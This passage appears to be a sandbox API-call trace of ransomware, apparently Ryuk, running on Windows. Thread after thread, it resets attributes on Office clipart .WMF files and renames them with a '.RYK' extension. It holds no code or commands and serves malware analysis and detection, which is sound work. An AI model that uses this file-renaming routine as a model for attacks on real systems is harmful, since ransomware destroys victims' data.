	[0213.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF", dwFileAttributes=0x80) returned 0
	[0215.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.671] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2207
	os_tid = 0x2080

	[0213.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF", dwFileAttributes=0x80) returned 0
	[0215.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.668] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2208
	os_tid = 0x2360

	[0213.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF", dwFileAttributes=0x80) returned 0
	[0215.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2209
	os_tid = 0x2118

	[0213.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF", dwFileAttributes=0x80) returned 0
	[0215.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.665] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2210
	os_tid = 0x564

	[0213.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF", dwFileAttributes=0x80) returned 0
	[0215.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2211
	os_tid = 0x24e8

	[0213.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF", dwFileAttributes=0x80) returned 0
	[0215.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0215.692] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0215.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2212
	os_tid = 0x2114

	[0216.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF", dwFileAttributes=0x80) returned 0
	[0216.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.044] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2239
	os_tid = 0x2858

	[0216.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF", dwFileAttributes=0x80) returned 0
	[0216.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2240
	os_tid = 0x285c

	[0216.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF", dwFileAttributes=0x80) returned 0
	[0216.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2241
	os_tid = 0x2860

	[0216.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF", dwFileAttributes=0x80) returned 0
	[0216.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.058] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2242
	os_tid = 0x2864

	[0216.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF", dwFileAttributes=0x80) returned 0
	[0216.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.061] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.061] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2243
	os_tid = 0x2868

	[0216.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF", dwFileAttributes=0x80) returned 0
	[0216.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.063] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2244
	os_tid = 0x286c

	[0216.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF", dwFileAttributes=0x80) returned 0
	[0216.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.065] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2245
	os_tid = 0x2870

	[0216.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF", dwFileAttributes=0x80) returned 0
	[0216.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2246
	os_tid = 0x2874

	[0216.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF", dwFileAttributes=0x80) returned 0
	[0216.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.069] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2247
	os_tid = 0x2878

	[0216.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF", dwFileAttributes=0x80) returned 0
	[0216.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.077] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2286
	os_tid = 0x287c

	[0216.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF", dwFileAttributes=0x80) returned 0
	[0216.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2287
	os_tid = 0x2924

	[0216.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF", dwFileAttributes=0x80) returned 0
	[0216.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2288
	os_tid = 0x2928

	[0216.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF", dwFileAttributes=0x80) returned 0
	[0216.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2289
	os_tid = 0x292c

	[0216.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF", dwFileAttributes=0x80) returned 0
	[0216.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2290
	os_tid = 0x2930

	[0216.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF", dwFileAttributes=0x80) returned 0
	[0216.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2291
	os_tid = 0x2934

	[0216.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF", dwFileAttributes=0x80) returned 0
	[0216.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2292
	os_tid = 0x2938

	[0216.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF", dwFileAttributes=0x80) returned 0
	[0216.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2293
	os_tid = 0x293c

	[0216.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF", dwFileAttributes=0x80) returned 0
	[0216.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2294
	os_tid = 0x2940

	[0216.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF", dwFileAttributes=0x80) returned 0
	[0216.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0216.545] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0216.545] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2295
	os_tid = 0x2944

	[0217.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF", dwFileAttributes=0x80) returned 0
	[0217.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.149] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2315
	os_tid = 0x2994

